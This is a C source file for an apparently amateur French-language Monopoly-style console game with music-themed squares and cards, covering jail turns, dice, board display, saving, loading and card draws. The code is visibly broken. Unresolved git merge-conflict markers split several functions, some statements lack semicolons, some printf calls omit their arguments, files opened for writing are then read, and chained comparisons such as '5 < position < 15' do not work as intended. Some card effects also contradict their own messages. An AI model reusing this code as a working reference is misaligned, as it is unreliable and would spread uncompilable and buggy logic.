gotoligcol(27, 15);
printf("1- Payer 50%c a la banque", 0x24);
gotoligcol(28, 15);
printf("2- Tenter d'obtenir un double");
gotoligcol(29, 15);
if ((player)->sortiePrison == true) {
printf("3- Utiliser votre carte 'Sortie de prison'");
gotoligcol(30, 15);
printf(">> ");
scanf("%d", &choix2);
while (choix2 != 1 && choix2 != 2 && choix2 != 3) {
gotoligcol(30, 15);
printf("Saisie invalide >> ");
fflush(stdin);
scanf("%d", &choix2);
}
} else if (player->sortiePrison != true && idJPrison != 0) {
printf("3- Acheter la carte du joueur %d", idJPrison);
gotoligcol(30, 15);
printf(">> ");
scanf("%d", &choix2);
while (choix2 != 1 && choix2 != 2 && choix2 != 3) {
gotoligcol(30, 15);
printf("Saisie invalide >> ");
fflush(stdin);
scanf("%d", &choix2);
}
}
do {
gotoligcol(29,15);
printf(">> ");
scanf("%d", &choix2);
} while (choix2 < 1 || choix2 > 2);
(player)->timeInJail += 1;
premierDe = lancerDe();
deuxiemeDe = lancerDe();
sommeDe = premierDe + deuxiemeDe;
if (choix2 == 1) {
(player)->timeInJail = 0;
// faillite(player, listeTerrain, 50);
(player)->balance -= 50;
deplacement(player, sommeDe);
if (premierDe == deuxiemeDe) { // Si le joueur fait un double
(player)->streakDouble += 1;
gotoligcol(10, 50);
printf("%s a fait un double ! Il peut donc rejouer.", player->username);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
tourJoueur(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
} else {
(player)->streakDouble = 0;
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, false, nbJoueurs, nbTours);
}
} else if (choix2 == 2) {
if (premierDe == deuxiemeDe) { // Si il fait un double
(player)->timeInJail = 0;
gotoligcol(31, 15);
printf("%s a fait un double ! Il sort de prison et avance de %d cases.", (player)->username, sommeDe);
deplacement(player, sommeDe);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, false, nbJoueurs, nbTours);
} else {
gotoligcol(31, 15);
printf("%s n'a pas fait de double et reste en prison...", (player)->username);
}
} else if (choix2 == 3 && (player)->sortiePrison == true) {
(player)->timeInJail = 0;
gotoligcol(28, 15);
printf("%s a utilise sa carte et sort de prison");
deplacement(player, sommeDe);
if (premierDe == deuxiemeDe) { // Si le joueur fait un double
(player)->streakDouble += 1;
gotoligcol(10, 50);
printf("%s a fait un double ! Il peut donc rejouer.", player->username);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
tourJoueur(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
} else {
(player)->streakDouble = 0;
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, false, nbJoueurs, nbTours);
}
} else if (choix2 == 3 && (player)->sortiePrison != true && idJPrison != 0) {
(player)->timeInJail = 0;
acheterCarteSortie(listePlayers[idJPrison], player);
deplacement(player, sommeDe);
if (premierDe == deuxiemeDe) { // Si le joueur fait un double
(player)->streakDouble += 1;
gotoligcol(10, 50);
printf("%s a fait un double ! Il peut donc rejouer.", (player)->username);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
tourJoueur(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
} else {
(player)->streakDouble = 0;
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, false, nbJoueurs, nbTours);
}
}
}
} else if (choix1 == 2) {
homeInGame(listePlayers, player, listeTerrain, nbJoueurs, rejouer, nbTours);
}
}
<<<<<<< Updated upstream
=======
void acheterCarteSortie(joueur *detenteur, joueur *enprison) {
gotoligcol(20, 15)
printf("%s, saisissez une valeur")
}
>>>>>>> Stashed changes
void tourJoueur(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, bool rejouer, int nbJoueurs, int nbTours) {
gotoligcol(6, 15);
joueur *player = listePlayers[currentPlayer];
printf("Solde du joueur %s : %d%c", (player)->username, (player)->balance, 0x24);
if (player->inJail == true) {
tourPrison(listeTerrain, listePlayers, listeCases, currentPlayer, nbJoueurs, rejouer, nbTours);
} else {
tourNormal(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
}
}
void tourNormal(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, bool rejouer, int nbJoueurs, int nbTours) {
int premierDe, deuxiemeDe, sommeDe, choix = 0;
updateTour(listeTerrain, listePlayers, listeCases, currentPlayer, nbJoueurs);
Color(15, 0);
joueur *player = listePlayers[currentPlayer];
gotoligcol(6, 120);
printf("Tour n%c%d", 0xF8, nbTours);
gotoligcol(6, 15);
printf("Solde du joueur %s : %d%c", (player)->username, (player)->balance, 0x24);
if (rejouer) {
gotoligcol(25, 15);
printf("%s rejoue, il a fait un double :", (player)->username);
} else {
gotoligcol(27, 15);
printf("Tour de %s, options :", (player)->username);
}
gotoligcol(28, 15);
printf("1- Lancer les des");
gotoligcol(29, 15);
printf("2- Retourner au menu");
gotoligcol(30, 15);
printf(">> ");
fflush(stdin);
scanf("%d", &choix);
while (choix != 1 && choix != 2) {
printf("\nSaisie invalide (1 ou 2) >> ");
fflush(stdin);
scanf("%d", &choix);
}
if (choix == 1) {
premierDe = lancerDe();
deuxiemeDe = lancerDe();
sommeDe = premierDe + deuxiemeDe;
gotoligcol(18, 50);
printf("Premier de : %d", premierDe);
gotoligcol(19, 50);
printf("Deuxieme de : %d", deuxiemeDe);
if (premierDe == deuxiemeDe && (player)->position != 10) { // Si le joueur fait un double
player->streakDouble += 1;
gotoligcol(10, 50);
printf("%s a fait un double !", (player)->username);
if (player->streakDouble == 3) { // Soit il en a fait 3 d'affilés alors il a des malus (prison etc)
printf("Le joueur a fait 3 doubles d'affilee.");
*player = doubleStreakLimite(*player); // à vérifier
} else { // Soit il n'en est pas à 3 et peut donc jouer 2 fois
gotoligcol(16, 50);
printf("Le joueur a fait un double et peut donc rejouer");
Sleep(2000);
deplacement(player, sommeDe);
tourComplet(player);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
tourJoueur(listeTerrain, listePlayers, listeCases, currentPlayer, true, nbJoueurs, nbTours);
}
// !
} else { // Si le joueur ne fait pas de double
(player)->streakDouble = 0;
deplacement(player, sommeDe);
tourComplet(player);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, false, nbJoueurs, nbTours);
}
} else if (choix == 2) {
homeInGame(listePlayers, player, listeTerrain, nbJoueurs, rejouer, nbTours);
}
}
void newGame() { // menu de création des joueurs, affiche le plateau de base
const int nbJoueurs = demanderNbJoueurs();
int i = 0;
int nbTours = 1;
joueur *pJoueurs = creationDesJoueurs(nbJoueurs);
terrain *pTerrains = creationTerrain();
box *bList = creationBox();
while (finDuJeu(pJoueurs, nbJoueurs) == false) {
creerPiocheCommu();
creerPiocheChance();
clearScreen();
plateauGraphique(pTerrains);
Color(15, 0);
joueur *joueuractuel = &pJoueurs[i];
tourJoueur(pTerrains, &pJoueurs, bList, i, false, nbJoueurs, nbTours);
Color(15, 0);
gotoligcol(7, 15);
printf("Position joueur : %d", (joueuractuel)->position);
nbTours += 1;
ifFaillite (&pJoueurs);
i++;
if (i >= nbJoueurs) {
i = 0;
}
gotoligcol(22, 58);
printf("C'est au tour de %s !", pJoueurs[i].username);
animation(23, 53, 100, 30);
}
free(bList);
free(pJoueurs);
free(pTerrains);
}
int caseColorId(int id) {
int color;
if (id == 1 || id == 3) {
return 13;
} else if (id == 6 || id == 8 || id == 9) {
return 11;
} else if (id == 11 || id == 13 || id == 14) {
return 7;
} else if (id == 16 || id == 18 || id == 19) {
return 4;
} else if (id == 21 || id == 23 || id == 24) {
return 12;
} else if (id == 26 || id == 27 || id == 29) {
return 14;
} else if (id == 31 || id == 32 || id == 34) {
return 2;
} else if (id == 37 || id == 39) {
return 10;
} else {
return 15;
}
return color;
}
void afficherJoueurPlateau(joueur **joueurs, terrain *terrains, box *cases, int nbJoueurs) {
int posJoueur[4] = {-1, -1, -1, -1};
FILE *pf = fopen("data/output.txt", "w");
if (pf == NULL) {
printf("Erreur d'ouverture de fichier.");
} else {
fprintf(pf, "Le dossier a été ouvert\n\n");
}
for (int i = 0; i < 4; i++) {
posJoueur[i] = (joueurs[i])->position;
}
int pos1 = posJoueur[0], pos2 = posJoueur[1], pos3 = posJoueur[2], pos4 = posJoueur[3];
int nbPos1 = 0, nbPos2 = 0, nbPos3 = 0, nbPos4 = 0;
int currentPos;
for (int i = 0; i < 4; i++) {
currentPos = posJoueur[i];
if (currentPos != -1) {
if (currentPos == pos1) {
nbPos1++;
} else if (currentPos == pos2) {
nbPos2++;
} else if (currentPos == pos3) {
nbPos3++;
} else if (currentPos == pos4) {
nbPos4++;
}
}
}
if (pos1 == pos2) {
nbPos2 = nbPos1;
}
if (pos1 == pos3) {
nbPos3 = nbPos1;
}
if (pos1 == pos4) {
nbPos4 = nbPos1;
}
if (pos2 == pos3) {
nbPos3 = nbPos2;
}
if (pos2 == pos4) {
nbPos4 = nbPos2;
}
if (pos3 == pos4) {
nbPos4 = nbPos3;
}
fprintf(pf, "|ID|Position|Nombre|\n");
fprintf(pf, "| 1| %d| %d|\n", pos1, nbPos1);
fprintf(pf, "| 2| %d| %d|\n", pos2, nbPos2);
fprintf(pf, "| 3| %d| %d|\n", pos3, nbPos3);
fprintf(pf, "| 4| %d| %d|\n\n", pos4, nbPos4);
int posList[4] = {pos1, pos2, pos3, pos4};
int nbPosList[4] = {nbPos1, nbPos2, nbPos3, nbPos4};
for (int i = 0; i < 40; i++) {
fprintf(pf, "ID : %d|X : %d|Y : %d\n", cases[i].id, cases[i].x, cases[i].y);
}
for (int i = 0; i < nbJoueurs; i++) {
// printf("Jouer numero : %d", i);
if (nbPosList[i] == 1) {
Color(0, caseColorId(cases[posList[i]].id));
fprintf(pf, "\n%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 6, i);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 6);
// printf("avant le pointeur");
printf("%c", joueurs[i]->avatar);
// printf("apres le pointeur ");
} else if (nbPosList[i] == 2) {
Color(0, caseColorId(cases[posList[i]].id));
fprintf(pf, "\n%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 4, i);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 4);
printf("%c", joueurs[i]->avatar);
fprintf(pf, "%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 8, i + 1);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 8);
printf("%c", joueurs[i + 1]->avatar);
i++;
} else if (nbPosList[i] == 3) {
Color(0, caseColorId(cases[posList[i]].id));
fprintf(pf, "\n%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 3, i);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 3);
printf("%c", joueurs[i]->avatar);
fprintf(pf, "%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 6, i + 1);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 6);
printf("%c", joueurs[i + 1]->avatar);
fprintf(pf, "%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 9, i + 2);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 9);
printf("%c", joueurs[i + 2]->avatar);
i++;
i++;
} else if (nbPosList[i] == 4) {
Color(0, caseColorId(cases[posList[i]].id));
fprintf(pf, "\n%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 3, i);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 3);
printf("%c", joueurs[i]->avatar);
fprintf(pf, "%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 5, i + 1);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 5);
printf("%c", joueurs[i + 1]->avatar);
fprintf(pf, "%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 7, i + 2);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 7);
printf("%c", joueurs[i + 2]->avatar);
fprintf(pf, "%d - %d, joueur %d\n", cases[posList[i]].y + 2, cases[posList[i]].x + 9, i + 3);
gotoligcol(cases[posList[i]].x + 2, cases[posList[i]].y + 9);
printf("%c", joueurs[i + 3]->avatar);
i++;
i++;
i++;
}
}
Color(15, 0);
fclose(pf);
pf = NULL;
Sleep(2000);
}
void faireSauvegarde(joueur **listePlayers, joueur *currentplayer, terrain *listeTerrain, int nbJoueurs, bool rejouer, int nbTours) {
FILE *pf = fopen("data/save1.txt", "w");
if (pf == NULL) {
printf("Erreur d'ouverture de fichier.");
}
for (int i = 0; i < 22; i++) {
fprintf(pf, "%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d", listeTerrain[i].id, listeTerrain[i].defaultPrice,
<<<<<<< Updated upstream
listeTerrain[i].idOnBoard, listeTerrain[i].housePrice, listeTerrain[i].loyer, listeTerrain[i].loyermaison1, listeTerrain[i].loyermaison2,
listeTerrain[i].loyermaison3, listeTerrain[i].loyermaison4, listeTerrain[i].loyerhotel, listeTerrain[i].val_hypoth, listeTerrain[i].buildings,
listeTerrain[i].x, listeTerrain[i].y, listeTerrain[i].couleur, listeTerrain[i].ownedBy);
fprintf(pf, " %d %d %d", listeTerrain[i].owned, listeTerrain[i].hotel, listeTerrain[i].hypotheque);
fprintf(pf, "\n");
}
for (int j = 0; j<nbJoueurs; j++){
fprintf(pf, "%d %d %d %d %d %d %d %d %d %d", listePlayers[j]->id, listePlayers[j]->balance, listePlayers[j]->position,
listePlayers[j]->sortiePrison, listePlayers[j]->carteDenonciation, listePlayers[j]->inJail, listePlayers[j]->bankruptcy,
listePlayers[j]->streakDouble, listePlayers[j]->timeInJail, listePlayers[j]->avatar);
for (int k = 0; k<26; k++){
=======
listeTerrain[i].idOnBoard, listeTerrain[i].housePrice, listeTerrain[i].loyer, listeTerrain[i].loyermaison1, listeTerrain[i].loyermaison2,
listeTerrain[i].loyermaison3, listeTerrain[i].loyermaison4, listeTerrain[i].loyerhotel, listeTerrain[i].val_hypoth, listeTerrain[i].buildings,
listeTerrain[i].x, listeTerrain[i].y, listeTerrain[i].couleur, listeTerrain[i].ownedBy);
if (listeTerrain[i].owned == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
if (listeTerrain[i].hotel == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
if (listeTerrain[i].hypotheque == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
fprintf(pf, "\n");
}
for (int j = 0; j < nbJoueurs; j++) {
fprintf(pf, "%d %d %s %d", listePlayers[j]->id, listePlayers[j]->balance, listePlayers[j]->username, listePlayers[j]->position);
if (listePlayers[j]->sortiePrison == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
if (listePlayers[j]->carteDenonciation == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
if (listePlayers[j]->inJail == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
if (listePlayers[j]->bankruptcy == false) {
fprintf(pf, " false");
} else {
fprintf(pf, " true");
}
fprintf(pf, " %d %d %d", listePlayers[j]->streakDouble, listePlayers[j]->timeInJail, listePlayers[j]->avatar);
for (int k = 0; k < 26; k++) {
>>>>>>> Stashed changes
fprintf(pf, " %d", listePlayers[j]->ownedField[k]);
}
fprintf(pf, " %s", listePlayers[j]->username);
fprintf(pf, "\n");
}
<<<<<<< Updated upstream
if (nbJoueurs == 2){
fprintf(pf, "\n\n\n\n\n%d %d %d", nbJoueurs, currentplayer->id, nbTours);
} else if (nbJoueurs == 3){
fprintf(pf, "\n\n\n\n%d %d %d", nbJoueurs, currentplayer->id, nbTours);
=======
fprintf(pf, "%d %d", currentplayer->id, nbTours);
if (rejouer == true) {
fprintf(pf, " true");
>>>>>>> Stashed changes
} else {
fprintf(pf, "\n\n\n%d %d %d", nbJoueurs, currentplayer->id, nbTours);
}
fprintf(pf, " %d", rejouer);
fclose(pf);
}
terrain *chargerTerrains() { // chargement des terrains
terrain *listeTerrain = (terrain *)malloc(23 * sizeof(terrain));
terrain instance;
char *listeNomTerrain[22] = {"<NAME>", "Brol", "Absolution", "Plat.Collec", "Nevermind", "RAM", "One More Love",
"Discovery", "MMLP", "NWTS", "Eminem Show", "Or Noir", "Ouest Side", "Civilisation", "Unorth.Juke",
"After Hours", "Thriller", "DLL", "Trinity", "JVLIVS", "Ipseite", "Cyborg"};
for (int i = 0; i < 22; i++) {
char *nomCurrent = listeNomTerrain[i];
FILE* texte = NULL;
texte = fopen("data/save1.txt", "r");
if (texte == NULL) {
printf("Error: Cannot open");
}
char ignore[1024];
int donnee[16];
bool own, hot, hyp;
int tempOwn, tempHot, tempHyp;
for (int j = 0; j < i; j++) {
fgets(ignore, sizeof(ignore), texte);
}
fscanf(texte, "%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d", &donnee[0], &donnee[1], &donnee[14],
&donnee[2], &donnee[3], &donnee[4], &donnee[5], &donnee[6], &donnee[7], &donnee[8], &donnee[9],
&donnee[10], &donnee[11], &donnee[12], &donnee[13], &donnee[15], &tempOwn, &tempHot, &tempHyp);
instance.nom = nomCurrent;
instance.id = donnee[0];
instance.defaultPrice = donnee[1];
instance.idOnBoard = donnee[14];
instance.housePrice = donnee[2];
instance.loyer = donnee[3];
instance.loyermaison1 = donnee[4];
instance.loyermaison2 = donnee[5];
instance.loyermaison3 = donnee[6];
instance.loyermaison4 = donnee[7];
instance.loyerhotel = donnee[8];
instance.val_hypoth = donnee[9];
instance.buildings = donnee[10];
instance.x = donnee[11];
instance.y = donnee[12];
instance.couleur = donnee[13];
instance.ownedBy = donnee[15];
own = tempOwn;
hot = tempHot;
hyp = tempHyp;
instance.owned = own;
instance.hotel = hot;
instance.hypotheque = hyp;
listeTerrain[i] = instance;
}
return listeTerrain;
}
joueur* chargerJoueurs(int nbJoueurs){
joueur *listeJoueurs = (joueur *)malloc(4 * sizeof(joueur));
joueur player;
for (int i = 0; i < nbJoueurs; i++) {
FILE* pf = NULL;
pf = fopen("data/save1.txt", "r");
if (pf == NULL) {
printf("Error: Cannot open");
}
//char* nomJ = malloc(12 * sizeof(char));
int nbJoueurs;
int donnee[40];
char ignore[1024];
bool sortie, prison, denoncer, faillite;
int tempSortie, tempDenoncer, tempPrison, tempFaillite;
for (int j = 0; j < 22+i; j++) {
fgets(ignore, sizeof(ignore), pf);
}
fscanf(pf, "%d %d %d %d %d %d %d %d %d %d", &donnee[0], &donnee[1], &donnee[2], &donnee[3], &tempSortie, &tempDenoncer,
&tempPrison, &tempFaillite, &donnee[4], &donnee[5]);
sortie = tempSortie;
denoncer = tempDenoncer;
prison = tempPrison;
faillite = tempFaillite;
player.id = donnee[0];
player.balance = donnee[1];
player.position = donnee[2];
player.sortiePrison = sortie;
if (player.sortiePrison == 0){
player.sortiePrison = false;
} else {
player.sortiePrison = true;
}
player.carteDenonciation = denoncer;
if (player.carteDenonciation == 0){
player.carteDenonciation = false;
} else {
player.carteDenonciation = true;
}
player.inJail = prison;
if (player.inJail == 0){
player.inJail = false;
} else {
player.inJail = true;
}
player.bankruptcy = faillite;
if (player.bankruptcy == 0){
player.bankruptcy = false;
} else {
player.bankruptcy = true;
}
player.streakDouble = donnee[3];
printf("%d ", player.streakDouble);
player.timeInJail = donnee[4];
printf("%d ", player.timeInJail);
player.avatar = donnee[5];
printf("avatar : %d ", player.avatar);
for (int j=0; j<26; j++){
fscanf(pf, "%d ", &donnee[j+6]);
player.ownedField[j] = donnee[j+6];
printf("indice %d liste : %d ", j, player.ownedField[j]);
}
/*
for (int n=0; n<5; n++){
fscanf(pf, "%c", &nomJ[n]);
}
printf("nom : %s ", nomJ);
strcpy(player.username, nomJ);
printf("nom 2 : %s",player.username);
*/
Sleep(3000);
listeJoueurs[i] = player;
}
/*
if (nbJoueurs == 2){
joueur tempJ3 = {3, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0};
joueur tempJ4 = {4, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0};
listeJoueurs[2] = tempJ3;
listeJoueurs[3] = tempJ4;
} else if (nbJoueurs == 3){
joueur tempJ4 = {4, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0};
listeJoueurs[3] = tempJ4;
} */
for (int i = 0; i < nbJoueurs; i++) {
display();
printf("Entrez le nom du joueur %d : ", i + 1);
scanf("%s", listeJoueurs[i].username);
listeJoueurs[i].position = 0;
}
display();
gotoligcol(14, 0);
for (int i = 0; i < nbJoueurs; i++) {
printf("Pseudo et avatar du joueur %d : %s - %c\n", i + 1, listeJoueurs[i].username, listeJoueurs[i].avatar);
}
printf("\nChargement de la partie en cours");
animation(20, 0, 75, 50);
return listeJoueurs;
}
void chargerSauvegarde(){
FILE* pf = NULL;
pf = fopen("data/save1.txt", "r");
if (pf == NULL) {
printf("Error: Cannot open");
}
const int nbJoueurs = 0;
int i = 0;
int nbTours = 1;
char ignore[1024];
bool rejouer;
int tempRejouer;
for (int j = 0; j < 29; j++) {
fgets(ignore, sizeof(ignore), pf);
}
fscanf(pf, "%d %d %d %d", &nbJoueurs, &i, &nbTours, &tempRejouer);
rejouer = tempRejouer;
printf(" %d %d %d %d\n", nbJoueurs, i, nbTours, rejouer);
Sleep(2000);
i -= 1;
printf("%d\n", i);
rewind(pf);
joueur *pJoueurs = chargerJoueurs(nbJoueurs);
Sleep(2000);
terrain *pTerrains = chargerTerrains();
box *bList = creationBox();
while (pJoueurs[0].balance > 0) {
clearScreen();
plateauGraphique(pTerrains);
Color(15, 0);
joueur *joueuractuel = &pJoueurs[i];
tourJoueur(pTerrains, &pJoueurs, bList, i, rejouer, nbJoueurs, nbTours);
printf("putoooo");
Color(15, 0);
gotoligcol(7, 15);
printf("Position joueur : %d", (joueuractuel)->position);
nbTours += 1;
i++;
if (i >= nbJoueurs) {
i = 0;
}
gotoligcol(22, 58);
printf("C'est au tour de %s !", pJoueurs[i].username);
animation(23, 53, 100, 30);
}
free(bList);
free(pJoueurs);
free(pTerrains);
}
int main() {
// Sleep(10000); // Decommente pour voir les warnings
Color(15, 0);
srand(time(NULL));
home();
return 0;
}
<<<<<<< Updated upstream
joueur communaute(joueur currentplayer, terrain *listeTerrain){
int nb;
int donnee[16];
int piocheTampon[16];
FILE *pf = fopen("data/piocheCommu.txt", "w");
if (pf == NULL)
{
printf("Erreur d'ouverture de fichier.");
}
else
{
fscanf(pf, "%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d", &donnee[0], &donnee[1],
&donnee[2], &donnee[3], &donnee[4], &donnee[5], &donnee[6], &donnee[7],
&donnee[8], &donnee[9], &donnee[10], &donnee[11], &donnee[12], &donnee[13], &donnee[14], &donnee[15]);
}
nb = donnee[0];
=======
/*void communaute(joueur currentplayer, terrain *listeTerrains, ){
>>>>>>> Stashed changes
if (nb == 1){
printf("Vous achetez des streams. Versez 50%c a la banque", 0x24);
currentplayer.balance -= 50;
}
else if (nb == 2){
printf("Vous faites un mauvais demarrage d'album. Versez 100%c a la banque", 0x24);
currentplayer.balance -= 100;
}
else if (nb == 3){
printf("Vous faites un exces de vitesse. Versez 10%c a la banque",0x24);
currentplayer.balance -= 10;
}
else if (nb == 4){
printf("Un fans vous donne 50%c", 0x24);
currentplayer.balance += 50;
}
else if (nb == 5){
printf("Vous faites un showcase. Recevez 100%c", 0x24);
currentplayer.balance += 100;
}
else if (nb == 6){
printf("Vous tournez un clip a Dubai. Versez 100%c a la banque", 0x24);
currentplayer.balance -= 100;
}
else if (nb == 7){
printf("Vous allez vous inspirer a New York. Versez 50%c a la banque", 0x24);
currentplayer.balance -= 50;
}
else if (nb == 8){
printf("Vous etes top1 spotify. Recevez 50%c de la banque", 0x24);
currentplayer.balance += 50;
}
else if (nb == 9){
printf("Vous signez un nouveau label. Recevez 200%c", 0x24);
currentplayer.balance += 200;
}
else if (nb == 10)
{
printf("Payez 10%c d'impots pour chacun de vos terrain",0x24);
int prix=0;
for (int i = 0; i<26; i++)
{
if (currentplayer.ownedField[i] != 0)
{
prix +=10;
}
printf("Vous avez payer %d$ taxes",prix);
currentplayer.balance -= prix;
}
}
else if (nb == 11)
{
int reparation = 0;
printf("Payer 50%c de réparation sur chacun de vos hotels.",0x24 );
for (int i = 0; i<22;i++)
{
if (listeTerrain[i].ownedBy == currentplayer.id)
{
if (listeTerrain[i].hotel == true)
{
reparation += 50;
}
}
}
printf("Vous avez payez %d reparation",reparation);
currentplayer.balance += reparation;
}
else if (nb == 12)
{
printf("Allez en prison" );
currentplayer.position = 10;
currentplayer.inJail = true;
}
else if (nb == 13)
{
printf("Allez vous reposer au Zenith d'apres");
if (currentplayer.position > 35 )
{
currentplayer.balance += 200;
currentplayer.position = 5;
}
else if ( 5 < currentplayer.position < 15)
{
currentplayer.position = 15;
}
else if ( 15 < currentplayer.position < 25)
{
currentplayer.position = 25 ;
}
else if ( 25 < currentplayer.position < 35)
{
currentplayer.position = 35;
}
else
{
currentplayer.position = 5;
}
}
else if (nb == 14)
{
printf("Vous aidez un fans dans le besoin et vous lui donnez 25%c", 0x24);
currentplayer.balance -= 25;
}
else if (nb == 15)
{
printf("Allez à la case départ");
currentplayer.position = 0;
currentplayer.balance += 200;
}
else
{
printf("Vous aidez un jeune rappeur à commencer. Versez 50%c à la banque", 0x24);
currentplayer.balance -= 50;
}
for (int i = 0; i< 16; i++)
{
piocheTampon[i] = donnee[i+1];
}
piocheTampon[15] = nb;
for(int j = 0; j < 15; j++)
{
piocheTampon[j] = donnee[j+1];
}
piocheTampon[15] = nb;
for(int j = 0; j < 16; j++)
{
fprintf(pf, "%d ",piocheTampon[j]);
}
fclose(pf);
pf = NULL;
return currentplayer;
}
joueur chance(joueur currentplayer){
int nb;
int donnee[16];
int piocheTampon[16];
FILE *pf = fopen("data/piocheChance.txt", "w");
if (pf == NULL)
{
printf("Erreur d'ouverture de fichier.");
}
else
{
fscanf(pf, "%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d", &donnee[0], &donnee[1],
&donnee[2], &donnee[3], &donnee[4], &donnee[5], &donnee[6], &donnee[7],
&donnee[8], &donnee[9], &donnee[10], &donnee[11], &donnee[12], &donnee[13], &donnee[14], &donnee[15]);
}
nb = donnee[0];
if (nb <15 )
{
if (nb == 1){
printf("Allez a la case depart");
currentplayer.balance += 200;
currentplayer.position = 0;
}
else if (nb == 2){
printf("Vous gagnez un pari PMU. Recevez 100%c.", 0x24);
currentplayer.balance += 100;
}
else if (nb == 3){
printf("Allez en prison");
currentplayer.position = 10;
currentplayer.inJail = true;
}
else if (nb == 4){
printf("Vous recevez la recompensede revelation de l'annee. Recevez 50%c", 0x24);
currentplayer.balance += 50;
}
else if (nb == 5){
printf("Vous faites une pub. ReceveZ 50%c", 0x24);
currentplayer.balance += 200;
}
else if (nb == 6){
printf("Vous allez voir un amis en prison");
if (currentplayer.position > 10)
{
currentplayer.balance += 200;
}
currentplayer.position = 10;
}
else if (nb == 7){
printf("Vous avez bien travaillé. Allez vous reposé à Soundcloud");
if (currentplayer.position > 20)
{
currentplayer.balance += 200;
}
currentplayer.position = 20;
}
else if (nb == 8){
printf("Vos placements vous rapporte 200%c", 0x24);
currentplayer.balance += 50;
}
else if (nb == 9)
{
printf("Allez vous reposer au Zenith d'apres");
if (currentplayer.position > 35 )
{
currentplayer.balance += 200;
currentplayer.position = 5;
}
else if ( 5 < currentplayer.position < 15)
{
currentplayer.position = 15;
}
else if ( 15 < currentplayer.position < 25)
{
currentplayer.position = 25 ;
}
else if ( 25 < currentplayer.position < 35)
{
currentplayer.position = 35;
}
else
{
currentplayer.position = 5;
}
}
else if (nb == 10)
{
printf("Payez 20%c d'impots", 0x24);
currentplayer.balance -= 20;
}
else if (nb == 11)
{
printf("Vous achetez une nouvelle voiture. Payez 50%c", 0x24);
currentplayer.balance -= 50;
}
else if (nb == 12)
{
printf("Vous etes top un Deezer. Recevez 25%c", 0x24);
currentplayer.balance += 25;
}
else if (nb == 13)
{
printf("Vous gagnez 500%c au loto", 0x24);
currentplayer.balance += 500;
}
else
{
printf("Vous prenez des cours de piano. Payez 50%c", 0x24);
currentplayer.balance -= 50;
}
if (donnee[14] == 0 && donnee[15] == 0)
{
for (int i = 0; i< 16; i++)
{
piocheTampon[i] = donnee[i+1];
}
for(int j = 0; j < 15; j++)
{
piocheTampon[j] = donnee[j+1];
}
piocheTampon[13] = nb;
piocheTampon[14] = 0;
piocheTampon[15] = 0;
for(int j = 0; j < 16; j++)
{
fprintf(pf, "%d ",piocheTampon[j]);
}
}
else if (donnee[14] != 0 && donnee[15] == 0)
{
for (int i = 0; i< 16; i++)
{
piocheTampon[i] = donnee[i+1];
}
for(int j = 0; j < 15; j++)
{
piocheTampon[j] = donnee[j+1];
}
piocheTampon[14] = nb;
piocheTampon[15] = 0;
for(int j = 0; j < 16; j++)
{
fprintf(pf, "%d ",piocheTampon[j]);
}
}
else
{
for (int i = 0; i< 16; i++)
{
piocheTampon[i] = donnee[i+1];
}
for(int j = 0; j < 15; j++)
{
piocheTampon[j] = donnee[j+1];
}
piocheTampon[15] = nb;
for(int j = 0; j < 16; j++)
{
fprintf(pf, "%d ",piocheTampon[j]);
}
}
}
else
{
if (nb == 15)
{
printf("Vous denoncez une fraude du proprietaire, vous ne payez pas le loyer, carte a conserver ");
currentplayer.carteDenonciation = true;
}
else
{
printf("Carte sortie de prison, a concerver");
currentplayer.sortiePrison = true;
}
for (int i = 0; i< 16; i++)
{
piocheTampon[i] = donnee[i+1];
}
